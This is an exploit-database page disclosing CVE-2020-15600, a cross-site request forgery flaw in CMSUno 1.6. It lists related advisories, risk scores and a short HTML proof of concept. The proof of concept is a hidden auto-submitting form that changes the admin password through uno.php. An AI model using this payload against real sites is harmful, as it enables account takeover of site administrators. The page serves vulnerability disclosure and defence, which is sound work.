CMSUno 1.6 - Cross-Site Request Forgery (Change Admin Password)

🗓️ 17 Jul 2020 00:00:00Reported by NothType

exploitdb🔗 www.exploit-db.com👁 849 Views

CMSUno v1.6 Cross-Site Request Forger

Reporter	Title	Published	Views	Family All 9
zdt	CMSUno 1.6 - Cross-Site Request Forgery (Change Admin Password) Vulnerability	17 Jul 202000:00	–	zdt
CNVD	CMSUno Cross-Site Request Forgery Vulnerability	8 Jul 202000:00	–	cnvd
CVE	CVE-2020-15600	7 Jul 202021:17	–	cve
Cvelist	CVE-2020-15600	7 Jul 202021:17	–	cvelist
EUVD	EUVD-2020-7587	7 Oct 202500:30	–	euvd
NVD	CVE-2020-15600	7 Jul 202022:15	–	nvd
Packet Storm	CMSUno 1.6 Cross Site Request Forgery	17 Jul 202000:00	–	packetstorm
Prion	Cross site request forgery (csrf)	7 Jul 202022:15	–	prion
RedhatCVE	CVE-2020-15600	22 May 202515:14	–	redhatcve

# Exploit Title: CMSUno 1.6 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-31
# Exploit Author: Noth
# Vendor Homepage: https://github.com/boiteasite/cmsuno
# Software Link: https://github.com/boiteasite/cmsuno
# Version: v1.6
# CVE : 2020-15600

An issue was discovered in CMSUno before 1.6.1. uno.php allows CSRF to change the admin password.

PoC :

<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“http://127.0.0.1/cmsuno-master/uno.php”method=“POST”>
<input type=“hidden” name=“user” value=“admin”/>
<input type=“hidden” name=“pass” value=“yourpassword”/>
<input type=“submit” name=“user” value=“Submit request”/>
</form>
</body>
</html>

17 Jul 2020 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 24.3

CVSS 3.16.5

EPSS0.01899